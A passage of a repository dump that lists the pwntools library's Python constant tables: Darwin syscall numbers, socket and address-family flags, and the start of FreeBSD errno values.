0x2000000)\nSYS_getaudit_addr = Constant('SYS_getaudit_addr',357 + 0x2000000)\nSYS_setaudit_addr = Constant('SYS_setaudit_addr',358 + 0x2000000)\nSYS_auditctl = Constant('SYS_auditctl',359 + 0x2000000)\nSYS_bsdthread_create = Constant('SYS_bsdthread_create',360 + 0x2000000)\nSYS_bsdthread_terminate = Constant('SYS_bsdthread_terminate',361 + 0x2000000)\nSYS_kqueue = Constant('SYS_kqueue',362 + 0x2000000)\nSYS_kevent = Constant('SYS_kevent',363 + 0x2000000)\nSYS_lchown = Constant('SYS_lchown',364 + 0x2000000)\nSYS_bsdthread_register = Constant('SYS_bsdthread_register',366 + 0x2000000)\nSYS_workq_open = Constant('SYS_workq_open',367 + 0x2000000)\nSYS_workq_kernreturn = Constant('SYS_workq_kernreturn',368 + 0x2000000)\nSYS_kevent64 = Constant('SYS_kevent64',369 + 0x2000000)\nSYS_thread_selfid = Constant('SYS_thread_selfid',372 + 0x2000000)\nSYS_ledger = Constant('SYS_ledger',373 + 0x2000000)\nSYS_kevent_qos = Constant('SYS_kevent_qos',374 + 0x2000000)\nSYS_kevent_id = Constant('SYS_kevent_id',375 + 0x2000000)\nSYS___mac_execve = Constant('SYS___mac_execve',380 + 0x2000000)\nSYS___mac_syscall = Constant('SYS___mac_syscall',381 + 0x2000000)\nSYS___mac_get_file = Constant('SYS___mac_get_file',382 + 0x2000000)\nSYS___mac_set_file = Constant('SYS___mac_set_file',383 + 0x2000000)\nSYS___mac_get_link = Constant('SYS___mac_get_link',384 + 0x2000000)\nSYS___mac_set_link = Constant('SYS___mac_set_link',385 + 0x2000000)\nSYS___mac_get_proc = Constant('SYS___mac_get_proc',386 + 0x2000000)\nSYS___mac_set_proc = Constant('SYS___mac_set_proc',387 + 0x2000000)\nSYS___mac_get_fd = Constant('SYS___mac_get_fd',388 + 0x2000000)\nSYS___mac_set_fd = Constant('SYS___mac_set_fd',389 + 0x2000000)\nSYS___mac_get_pid = Constant('SYS___mac_get_pid',390 + 0x2000000)\nSYS_pselect = Constant('SYS_pselect',394 + 0x2000000)\nSYS_pselect_nocancel = Constant('SYS_pselect_nocancel',395 + 0x2000000)\nSYS_read_nocancel = Constant('SYS_read_nocancel',396 + 0x2000000)\nSYS_write_nocancel = Constant('SYS_write_nocancel',397 + 0x2000000)\nSYS_open_nocancel = Constant('SYS_open_nocancel',398 + 0x2000000)\nSYS_close_nocancel = Constant('SYS_close_nocancel',399 + 0x2000000)\nSYS_wait4_nocancel = Constant('SYS_wait4_nocancel',400 + 0x2000000)\nSYS_recvmsg_nocancel = Constant('SYS_recvmsg_nocancel',401 + 0x2000000)\nSYS_sendmsg_nocancel = Constant('SYS_sendmsg_nocancel',402 + 0x2000000)\nSYS_recvfrom_nocancel = Constant('SYS_recvfrom_nocancel',403 + 0x2000000)\nSYS_accept_nocancel = Constant('SYS_accept_nocancel',404 + 0x2000000)\nSYS_msync_nocancel = Constant('SYS_msync_nocancel',405 + 0x2000000)\nSYS_fcntl_nocancel = Constant('SYS_fcntl_nocancel',406 + 0x2000000)\nSYS_select_nocancel = Constant('SYS_select_nocancel',407 + 0x2000000)\nSYS_fsync_nocancel = Constant('SYS_fsync_nocancel',408 + 0x2000000)\nSYS_connect_nocancel = Constant('SYS_connect_nocancel',409 + 0x2000000)\nSYS_sigsuspend_nocancel = Constant('SYS_sigsuspend_nocancel',410 + 0x2000000)\nSYS_readv_nocancel = Constant('SYS_readv_nocancel',411 + 0x2000000)\nSYS_writev_nocancel = Constant('SYS_writev_nocancel',412 + 0x2000000)\nSYS_sendto_nocancel = Constant('SYS_sendto_nocancel',413 + 0x2000000)\nSYS_pread_nocancel = Constant('SYS_pread_nocancel',414 + 0x2000000)\nSYS_pwrite_nocancel = Constant('SYS_pwrite_nocancel',415 + 0x2000000)\nSYS_waitid_nocancel = Constant('SYS_waitid_nocancel',416 + 0x2000000)\nSYS_poll_nocancel = Constant('SYS_poll_nocancel',417 + 0x2000000)\nSYS_msgsnd_nocancel = Constant('SYS_msgsnd_nocancel',418 + 0x2000000)\nSYS_msgrcv_nocancel = Constant('SYS_msgrcv_nocancel',419 + 0x2000000)\nSYS_sem_wait_nocancel = Constant('SYS_sem_wait_nocancel',420 + 0x2000000)\nSYS_aio_suspend_nocancel = Constant('SYS_aio_suspend_nocancel',421 + 0x2000000)\nSYS___sigwait_nocancel = Constant('SYS___sigwait_nocancel',422 + 0x2000000)\nSYS___semwait_signal_nocancel = Constant('SYS___semwait_signal_nocancel',423 + 0x2000000)\nSYS___mac_mount = Constant('SYS___mac_mount',424 + 0x2000000)\nSYS___mac_get_mount = Constant('SYS___mac_get_mount',425 + 0x2000000)\nSYS___mac_getfsstat = Constant('SYS___mac_getfsstat',426 + 0x2000000)\nSYS_fsgetpath = Constant('SYS_fsgetpath',427 + 0x2000000)\nSYS_audit_session_self = Constant('SYS_audit_session_self',428 + 0x2000000)\nSYS_audit_session_join = Constant('SYS_audit_session_join',429 + 0x2000000)\nSYS_fileport_makeport = Constant('SYS_fileport_makeport',430 + 0x2000000)\nSYS_fileport_makefd = Constant('SYS_fileport_makefd',431 + 0x2000000)\nSYS_audit_session_port = Constant('SYS_audit_session_port',432 + 0x2000000)\nSYS_pid_suspend = Constant('SYS_pid_suspend',433 + 0x2000000)\nSYS_pid_resume = Constant('SYS_pid_resume',434 + 0x2000000)\nSYS_pid_hibernate = Constant('SYS_pid_hibernate',435 + 0x2000000)\nSYS_pid_shutdown_sockets = Constant('SYS_pid_shutdown_sockets',436 + 0x2000000)\nSYS_kas_info = Constant('SYS_kas_info',439 + 0x2000000)\nSYS_memorystatus_control = Constant('SYS_memorystatus_control',440 + 0x2000000)\nSYS_guarded_open_np = Constant('SYS_guarded_open_np',441 + 0x2000000)\nSYS_guarded_close_np = Constant('SYS_guarded_close_np',442 + 0x2000000)\nSYS_guarded_kqueue_np = Constant('SYS_guarded_kqueue_np',443 + 0x2000000)\nSYS_change_fdguard_np = Constant('SYS_change_fdguard_np',444 + 0x2000000)\nSYS_usrctl = Constant('SYS_usrctl',445 + 0x2000000)\nSYS_proc_rlimit_control = Constant('SYS_proc_rlimit_control',446 + 0x2000000)\nSYS_connectx = Constant('SYS_connectx',447 + 0x2000000)\nSYS_disconnectx = Constant('SYS_disconnectx',448 + 0x2000000)\nSYS_peeloff = Constant('SYS_peeloff',449 + 0x2000000)\nSYS_socket_delegate = Constant('SYS_socket_delegate',450 + 0x2000000)\nSYS_telemetry = Constant('SYS_telemetry',451 + 0x2000000)\nSYS_proc_uuid_policy = Constant('SYS_proc_uuid_policy',452 + 0x2000000)\nSYS_memorystatus_get_level = Constant('SYS_memorystatus_get_level',453 + 0x2000000)\nSYS_system_override = Constant('SYS_system_override',454 + 0x2000000)\nSYS_vfs_purge = Constant('SYS_vfs_purge',455 + 0x2000000)\nSYS_sfi_ctl = Constant('SYS_sfi_ctl',456 + 0x2000000)\nSYS_sfi_pidctl = Constant('SYS_sfi_pidctl',457 + 0x2000000)\nSYS_coalition = Constant('SYS_coalition',458 + 0x2000000)\nSYS_coalition_info = Constant('SYS_coalition_info',459 + 0x2000000)\nSYS_necp_match_policy = Constant('SYS_necp_match_policy',460 + 0x2000000)\nSYS_getattrlistbulk = Constant('SYS_getattrlistbulk',461 + 0x2000000)\nSYS_clonefileat = Constant('SYS_clonefileat',462 + 0x2000000)\nSYS_openat = Constant('SYS_openat',463 + 0x2000000)\nSYS_openat_nocancel = Constant('SYS_openat_nocancel',464 + 0x2000000)\nSYS_renameat = Constant('SYS_renameat',465 + 0x2000000)\nSYS_faccessat = Constant('SYS_faccessat',466 + 0x2000000)\nSYS_fchmodat = Constant('SYS_fchmodat',467 + 0x2000000)\nSYS_fchownat = Constant('SYS_fchownat',468 + 0x2000000)\nSYS_fstatat = Constant('SYS_fstatat',469 + 0x2000000)\nSYS_fstatat64 = Constant('SYS_fstatat64',470 + 0x2000000)\nSYS_linkat = Constant('SYS_linkat',471 + 0x2000000)\nSYS_unlinkat = Constant('SYS_unlinkat',472 + 0x2000000)\nSYS_readlinkat = Constant('SYS_readlinkat',473 + 0x2000000)\nSYS_symlinkat = Constant('SYS_symlinkat',474 + 0x2000000)\nSYS_mkdirat = Constant('SYS_mkdirat',475 + 0x2000000)\nSYS_getattrlistat = Constant('SYS_getattrlistat',476 + 0x2000000)\nSYS_proc_trace_log = Constant('SYS_proc_trace_log',477 + 0x2000000)\nSYS_bsdthread_ctl = Constant('SYS_bsdthread_ctl',478 + 0x2000000)\nSYS_openbyid_np = Constant('SYS_openbyid_np',479 + 0x2000000)\nSYS_recvmsg_x = Constant('SYS_recvmsg_x',480 + 0x2000000)\nSYS_sendmsg_x = Constant('SYS_sendmsg_x',481 + 0x2000000)\nSYS_thread_selfusage = Constant('SYS_thread_selfusage',482 + 0x2000000)\nSYS_csrctl = Constant('SYS_csrctl',483 + 0x2000000)\nSYS_guarded_open_dprotected_np = Constant('SYS_guarded_open_dprotected_np',484 + 0x2000000)\nSYS_guarded_write_np = Constant('SYS_guarded_write_np',485 + 0x2000000)\nSYS_guarded_pwrite_np = Constant('SYS_guarded_pwrite_np',486 + 0x2000000)\nSYS_guarded_writev_np = Constant('SYS_guarded_writev_np',487 + 0x2000000)\nSYS_renameatx_np = Constant('SYS_renameatx_np',488 + 0x2000000)\nSYS_mremap_encrypted = Constant('SYS_mremap_encrypted',489 + 0x2000000)\nSYS_netagent_trigger = Constant('SYS_netagent_trigger',490 + 0x2000000)\nSYS_stack_snapshot_with_config = Constant('SYS_stack_snapshot_with_config',491 + 0x2000000)\nSYS_microstackshot = Constant('SYS_microstackshot',492 + 0x2000000)\nSYS_grab_pgo_data = Constant('SYS_grab_pgo_data',493 + 0x2000000)\nSYS_persona = Constant('SYS_persona',494 + 0x2000000)\nSYS_mach_eventlink_signal = Constant('SYS_mach_eventlink_signal',496 + 0x2000000)\nSYS_mach_eventlink_wait_until = Constant('SYS_mach_eventlink_wait_until',497 + 0x2000000)\nSYS_mach_eventlink_signal_wait_until = Constant('SYS_mach_eventlink_signal_wait_until',498 + 0x2000000)\nSYS_work_interval_ctl = Constant('SYS_work_interval_ctl',499 + 0x2000000)\nSYS_getentropy = Constant('SYS_getentropy',500 + 0x2000000)\nSYS_necp_open = Constant('SYS_necp_open',501 + 0x2000000)\nSYS_necp_client_action = Constant('SYS_necp_client_action',502 + 0x2000000)\nSYS___nexus_open = Constant('SYS___nexus_open',503 + 0x2000000)\nSYS___nexus_register = Constant('SYS___nexus_register',504 + 0x2000000)\nSYS___nexus_deregister = Constant('SYS___nexus_deregister',505 + 0x2000000)\nSYS___nexus_create = Constant('SYS___nexus_create',506 + 0x2000000)\nSYS___nexus_destroy = Constant('SYS___nexus_destroy',507 + 0x2000000)\nSYS___nexus_get_opt = Constant('SYS___nexus_get_opt',508 + 0x2000000)\nSYS___nexus_set_opt = Constant('SYS___nexus_set_opt',509 + 0x2000000)\nSYS___channel_open = Constant('SYS___channel_open',510 + 0x2000000)\nSYS___channel_get_info = Constant('SYS___channel_get_info',511 + 0x2000000)\nSYS___channel_sync = Constant('SYS___channel_sync',512 + 0x2000000)\nSYS___channel_get_opt = Constant('SYS___channel_get_opt',513 + 0x2000000)\nSYS___channel_set_opt = Constant('SYS___channel_set_opt',514 + 0x2000000)\nSYS_ulock_wait = Constant('SYS_ulock_wait',515 + 0x2000000)\nSYS_ulock_wake = Constant('SYS_ulock_wake',516 + 0x2000000)\nSYS_fclonefileat = Constant('SYS_fclonefileat',517 + 0x2000000)\nSYS_fs_snapshot = Constant('SYS_fs_snapshot',518 + 0x2000000)\nSYS_register_uexc_handler = Constant('SYS_register_uexc_handler',519 + 0x2000000)\nSYS_terminate_with_payload = Constant('SYS_terminate_with_payload',520 + 0x2000000)\nSYS_abort_with_payload = Constant('SYS_abort_with_payload',521 + 0x2000000)\nSYS_necp_session_open = Constant('SYS_necp_session_open',522 + 0x2000000)\nSYS_necp_session_action = Constant('SYS_necp_session_action',523 + 0x2000000)\nSYS_setattrlistat = Constant('SYS_setattrlistat',524 + 0x2000000)\nSYS_net_qos_guideline = Constant('SYS_net_qos_guideline',525 + 0x2000000)\nSYS_fmount = Constant('SYS_fmount',526 + 0x2000000)\nSYS_ntp_adjtime = Constant('SYS_ntp_adjtime',527 + 0x2000000)\nSYS_ntp_gettime = Constant('SYS_ntp_gettime',528 + 0x2000000)\nSYS_os_fault_with_payload = Constant('SYS_os_fault_with_payload',529 + 0x2000000)\nSYS_kqueue_workloop_ctl = Constant('SYS_kqueue_workloop_ctl',530 + 0x2000000)\nSYS___mach_bridge_remote_time = Constant('SYS___mach_bridge_remote_time',531 + 0x2000000)\nSYS_coalition_ledger = Constant('SYS_coalition_ledger',532 + 0x2000000)\nSYS_log_data = Constant('SYS_log_data',533 + 0x2000000)\nSYS_memorystatus_available_memory = Constant('SYS_memorystatus_available_memory',534 + 0x2000000)\nSYS_objc_bp_assist_cfg_np = Constant('SYS_objc_bp_assist_cfg_np',535 + 0x2000000)\nSYS_shared_region_map_and_slide_2_np = Constant('SYS_shared_region_map_and_slide_2_np',536 + 0x2000000)\nSYS_pivot_root = Constant('SYS_pivot_root',537 + 0x2000000)\nSYS_task_inspect_for_pid = Constant('SYS_task_inspect_for_pid',538 + 0x2000000)\nSYS_task_read_for_pid = Constant('SYS_task_read_for_pid',539 + 0x2000000)\nSYS_preadv = Constant('SYS_preadv',540 + 0x2000000)\nSYS_pwritev = Constant('SYS_pwritev',541 + 0x2000000)\nSYS_preadv_nocancel = Constant('SYS_preadv_nocancel',542 + 0x2000000)\nSYS_pwritev_nocancel = Constant('SYS_pwritev_nocancel',543 + 0x2000000)\nSYS_ulock_wait2 = Constant('SYS_ulock_wait2',544 + 0x2000000)\nSYS_proc_info_extended_id = Constant('SYS_proc_info_extended_id',545 + 0x2000000)\nSYS_tracker_action = Constant('SYS_tracker_action',546 + 0x2000000)\nSYS_debug_syscall_reject = Constant('SYS_debug_syscall_reject',547 + 0x2000000)\nSYS_debug_syscall_reject_config = Constant('SYS_debug_syscall_reject_config',548 + 0x2000000)\nSYS_graftdmg = Constant('SYS_graftdmg',549 + 0x2000000)\nSYS_map_with_linking_np = Constant('SYS_map_with_linking_np',550 + 0x2000000)\nSYS_freadlink = Constant('SYS_freadlink',551 + 0x2000000)\nSYS_record_system_event = Constant('SYS_record_system_event',552 + 0x2000000)\nSYS_mkfifoat = Constant('SYS_mkfifoat',553 + 0x2000000)\nSYS_mknodat = Constant('SYS_mknodat',554 + 0x2000000)\nSYS_ungraftdmg = Constant('SYS_ungraftdmg',555 + 0x2000000)\nSYS_coalition_policy_set = Constant('SYS_coalition_policy_set',556 + 0x2000000)\nSYS_coalition_policy_get = Constant('SYS_coalition_policy_get',557 + 0x2000000)\nSYS_MAXSYSCALL = Constant('SYS_MAXSYSCALL',558 + 0x2000000)\nSYS_invalid = Constant('SYS_invalid',63 + 0x2000000)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSO_DEBUG = Constant('SO_DEBUG',0x0001)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x0002)\nSO_REUSEADDR = Constant('SO_REUSEADDR',0x0004)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008)\nSO_DONTROUTE = Constant('SO_DONTROUTE',0x0010)\nSO_BROADCAST = Constant('SO_BROADCAST',0x0020)\nSO_USELOOPBACK = Constant('SO_USELOOPBACK',0x0040)\nSO_LINGER = Constant('SO_LINGER',0x1080)\nSO_LINGER_SEC = Constant('SO_LINGER_SEC',0x1080)\nSO_OOBINLINE = Constant('SO_OOBINLINE',0x0100)\nSO_REUSEPORT = Constant('SO_REUSEPORT',0x0200)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',0x0400)\nSO_TIMESTAMP_MONOTONIC = Constant('SO_TIMESTAMP_MONOTONIC',0x0800)\nSO_ACCEPTFILTER = Constant('SO_ACCEPTFILTER',0x1000)\nSO_DONTTRUNC = Constant('SO_DONTTRUNC',0x2000)\nSO_WANTMORE = Constant('SO_WANTMORE',0x4000)\nSO_WANTOOBFLAG = Constant('SO_WANTOOBFLAG',0x8000)\nSO_SNDBUF = Constant('SO_SNDBUF',0x1001)\nSO_RCVBUF = Constant('SO_RCVBUF',0x1002)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006)\nSO_ERROR = Constant('SO_ERROR',0x1007)\nSO_TYPE = Constant('SO_TYPE',0x1008)\nSO_LABEL = Constant('SO_LABEL',0x1010)\nSO_PEERLABEL = Constant('SO_PEERLABEL',0x1011)\nSO_NREAD = Constant('SO_NREAD',0x1020)\nSO_NKE = Constant('SO_NKE',0x1021)\nSO_NOSIGPIPE = Constant('SO_NOSIGPIPE',0x1022)\nSO_NOADDRERR = Constant('SO_NOADDRERR',0x1023)\nSO_NWRITE = Constant('SO_NWRITE',0x1024)\nSO_REUSESHAREUID = Constant('SO_REUSESHAREUID',0x1025)\nSO_NOTIFYCONFLICT = Constant('SO_NOTIFYCONFLICT',0x1026)\nSO_UPCALLCLOSEWAIT = Constant('SO_UPCALLCLOSEWAIT',0x1027)\nSO_RANDOMPORT = Constant('SO_RANDOMPORT',0x1082)\nSO_NP_EXTENSIONS = Constant('SO_NP_EXTENSIONS',0x1083)\nSO_NUMRCVPKT = Constant('SO_NUMRCVPKT',0x1112)\nSO_NET_SERVICE_TYPE = Constant('SO_NET_SERVICE_TYPE',0x1116)\nSO_NETSVC_MARKING_LEVEL = Constant('SO_NETSVC_MARKING_LEVEL',0x1119)\nSO_RESOLVER_SIGNATURE = Constant('SO_RESOLVER_SIGNATURE',0x1131)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',0x1134)\nNET_SERVICE_TYPE_BE = Constant('NET_SERVICE_TYPE_BE',0)\nNET_SERVICE_TYPE_BK = Constant('NET_SERVICE_TYPE_BK',1)\nNET_SERVICE_TYPE_SIG = Constant('NET_SERVICE_TYPE_SIG',2)\nNET_SERVICE_TYPE_VI = Constant('NET_SERVICE_TYPE_VI',3)\nNET_SERVICE_TYPE_VO = Constant('NET_SERVICE_TYPE_VO',4)\nNET_SERVICE_TYPE_RV = Constant('NET_SERVICE_TYPE_RV',5)\nNET_SERVICE_TYPE_AV = Constant('NET_SERVICE_TYPE_AV',6)\nNET_SERVICE_TYPE_OAM = Constant('NET_SERVICE_TYPE_OAM',7)\nNET_SERVICE_TYPE_RD = Constant('NET_SERVICE_TYPE_RD',8)\nNETSVC_MRKNG_UNKNOWN = Constant('NETSVC_MRKNG_UNKNOWN',0)\nNETSVC_MRKNG_LVL_L2 = Constant('NETSVC_MRKNG_LVL_L2',1)\nNETSVC_MRKNG_LVL_L3L2_ALL = Constant('NETSVC_MRKNG_LVL_L3L2_ALL',2)\nNETSVC_MRKNG_LVL_L3L2_BK = Constant('NETSVC_MRKNG_LVL_L3L2_BK',3)\nSAE_ASSOCID_ANY = Constant('SAE_ASSOCID_ANY',0)\nSAE_CONNID_ANY = Constant('SAE_CONNID_ANY',0)\nCONNECT_RESUME_ON_READ_WRITE = Constant('CONNECT_RESUME_ON_READ_WRITE',0x1)\nCONNECT_DATA_IDEMPOTENT = Constant('CONNECT_DATA_IDEMPOTENT',0x2)\nCONNECT_DATA_AUTHENTICATED = Constant('CONNECT_DATA_AUTHENTICATED',0x4)\nSONPX_SETOPTSHUT = Constant('SONPX_SETOPTSHUT',0x000000001)\nSOL_SOCKET = Constant('SOL_SOCKET',0xffff)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_INET = Constant('AF_INET',2)\nAF_IMPLINK = Constant('AF_IMPLINK',3)\nAF_PUP = Constant('AF_PUP',4)\nAF_CHAOS = Constant('AF_CHAOS',5)\nAF_NS = Constant('AF_NS',6)\nAF_ISO = Constant('AF_ISO',7)\nAF_ECMA = Constant('AF_ECMA',8)\nAF_DATAKIT = Constant('AF_DATAKIT',9)\nAF_CCITT = Constant('AF_CCITT',10)\nAF_SNA = Constant('AF_SNA',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_DLI = Constant('AF_DLI',13)\nAF_LAT = Constant('AF_LAT',14)\nAF_HYLINK = Constant('AF_HYLINK',15)\nAF_APPLETALK = Constant('AF_APPLETALK',16)\nAF_ROUTE = Constant('AF_ROUTE',17)\nAF_LINK = Constant('AF_LINK',18)\npseudo_AF_XTP = Constant('pseudo_AF_XTP',19)\nAF_COIP = Constant('AF_COIP',20)\nAF_CNT = Constant('AF_CNT',21)\npseudo_AF_RTIP = Constant('pseudo_AF_RTIP',22)\nAF_IPX = Constant('AF_IPX',23)\nAF_SIP = Constant('AF_SIP',24)\npseudo_AF_PIP = Constant('pseudo_AF_PIP',25)\nAF_NDRV = Constant('AF_NDRV',27)\nAF_ISDN = Constant('AF_ISDN',28)\npseudo_AF_KEY = Constant('pseudo_AF_KEY',29)\nAF_INET6 = Constant('AF_INET6',30)\nAF_NATM = Constant('AF_NATM',31)\nAF_SYSTEM = Constant('AF_SYSTEM',32)\nAF_NETBIOS = Constant('AF_NETBIOS',33)\nAF_PPP = Constant('AF_PPP',34)\npseudo_AF_HDRCMPLT = Constant('pseudo_AF_HDRCMPLT',35)\nAF_RESERVED_36 = Constant('AF_RESERVED_36',36)\nAF_IEEE80211 = Constant('AF_IEEE80211',37)\nAF_UTUN = Constant('AF_UTUN',38)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_MAX = Constant('AF_MAX',41)\nSOCK_MAXADDRLEN = Constant('SOCK_MAXADDRLEN',255)\n_SS_MAXSIZE = Constant('_SS_MAXSIZE',128)\nNET_RT_DUMP = Constant('NET_RT_DUMP',1)\nNET_RT_FLAGS = Constant('NET_RT_FLAGS',2)\nNET_RT_IFLIST = Constant('NET_RT_IFLIST',3)\nNET_RT_STAT = Constant('NET_RT_STAT',4)\nNET_RT_TRASH = Constant('NET_RT_TRASH',5)\nNET_RT_IFLIST2 = Constant('NET_RT_IFLIST2',6)\nNET_RT_DUMP2 = Constant('NET_RT_DUMP2',7)\nNET_RT_FLAGS_PRIV = Constant('NET_RT_FLAGS_PRIV',10)\nNET_RT_MAXID = Constant('NET_RT_MAXID',11)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',0x1)\nMSG_PEEK = Constant('MSG_PEEK',0x2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',0x4)\nMSG_EOR = Constant('MSG_EOR',0x8)\nMSG_TRUNC = Constant('MSG_TRUNC',0x10)\nMSG_CTRUNC = Constant('MSG_CTRUNC',0x20)\nMSG_WAITALL = Constant('MSG_WAITALL',0x40)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x80)\nMSG_EOF = Constant('MSG_EOF',0x100)\nMSG_WAITSTREAM = Constant('MSG_WAITSTREAM',0x200)\nMSG_FLUSH = Constant('MSG_FLUSH',0x400)\nMSG_HOLD = Constant('MSG_HOLD',0x800)\nMSG_SEND = Constant('MSG_SEND',0x1000)\nMSG_HAVEMORE = Constant('MSG_HAVEMORE',0x2000)\nMSG_RCVMORE = Constant('MSG_RCVMORE',0x4000)\nMSG_NEEDSA = Constant('MSG_NEEDSA',0x10000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x80000)\nMSG_USEUPCALL = Constant('MSG_USEUPCALL',0x80000000)\nCMGROUP_MAX = Constant('CMGROUP_MAX',16)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x02)\nSCM_CREDS = Constant('SCM_CREDS',0x03)\nSCM_TIMESTAMP_MONOTONIC = Constant('SCM_TIMESTAMP_MONOTONIC',0x04)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nSBUF_FIXEDLEN = Constant('SBUF_FIXEDLEN',0x00000000)\nSBUF_AUTOEXTEND = Constant('SBUF_AUTOEXTEND',0x00000001)\nSBUF_USRFLAGMSK = Constant('SBUF_USRFLAGMSK',0x0000ffff)\nSBUF_DYNAMIC = Constant('SBUF_DYNAMIC',0x00010000)\nSBUF_FINISHED = Constant('SBUF_FINISHED',0x00020000)\nSBUF_OVERFLOWED = Constant('SBUF_OVERFLOWED',0x00040000)\nSBUF_DYNSTRUCT = Constant('SBUF_DYNSTRUCT',0x00080000)\nSYSPROTO_EVENT = Constant('SYSPROTO_EVENT',1)\nSYSPROTO_CONTROL = Constant('SYSPROTO_CONTROL',2)\nAF_SYS_CONTROL = Constant('AF_SYS_CONTROL',2)\nSO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED',0x00000001)\nSO_TRACKER_ATTRIBUTE_FLAGS_TRACKER = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER',0x00000002)\nSO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT',0x00000004)\nNS_GETRAWENCRYPTED = Constant('NS_GETRAWENCRYPTED',0x00000001)\n"
  },
  {
    "path": "pwnlib/constants/freebsd.py",
    "content": "from pwnlib.constants.constant import Constant\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n__BSD_VISIBLE = Constant('__BSD_VISIBLE',99999999)\n__POSIX_VISIBLE = Constant('__POSIX_VISIBLE',99999999)\n__XSI_VISIBLE = Constant('__XSI_VISIBLE',99999999)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEDEADLK = Constant('EDEADLK',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEAGAIN = Constant('EAGAIN',35)\nEWOULDBLOCK = Constant('EWOULDBLOCK',35)\nEINPROGRESS = Constant('EINPROGRESS',36)\nEALREADY = Constant('EALREADY',37)\nENOTSOCK = Constant('ENOTSOCK',38)\nEDESTADDRREQ = Constant('EDESTADDRREQ',39)\nEMSGSIZE = Constant('EMSGSIZE',40)\nEPROTOTYPE = Constant('EPROTOTYPE',41)\nENOPROTOOPT = Constant('ENOPROTOOPT',42)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44)\nEOPNOTSUPP = Constant('EOPNOTSUPP',45)\nENOTSUP = Constant('ENOTSUP',45)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',46)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',47)\nEADDRINUSE = Constant('EADDRINUSE',48)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49)\nENETDOWN = Constant('ENETDOWN',50)\nENETUNREACH = Constant('ENETUNREACH',51)\nENETRESET = Constant('ENETRESET',52)\nECONNABORTED = Constant('ECONNABORTED',53)\nECONNRESET = Constant('ECONNRESET',54)\nENOBUFS = Constant('ENOBUFS',55)\nEISCONN = Constant('EISCONN',56)\nENOTCONN = Constant('ENOTCONN',57)\nESHUTDOWN = Constant('ESHUTDOWN',58)\nETOOMANYREFS = Constant('ETOOMANYREFS',59)\nETIMEDOUT = Constant('ETIMEDOUT',60)\nECONNREFUSED = Constant('ECONNREFUSED',61)\nELOOP = Constant('ELOOP',62)\nENAMETOOLONG = Constant('ENAMETOOLONG',63)\nEHOSTDOWN = Constant('EHOSTDOWN',64)\nEHOSTUNREACH = Constant('EHOSTUNREACH',65)\nENOTEMPTY = Constant('ENOTEMPTY',66)\nEPROCLIM = Constant('EPROCLIM',67)\nEUSERS = Constant('EUSERS',68)\nEDQUOT = Constant('EDQUOT',69)\nESTALE = Constant('ESTALE',70)\nEREMOTE = 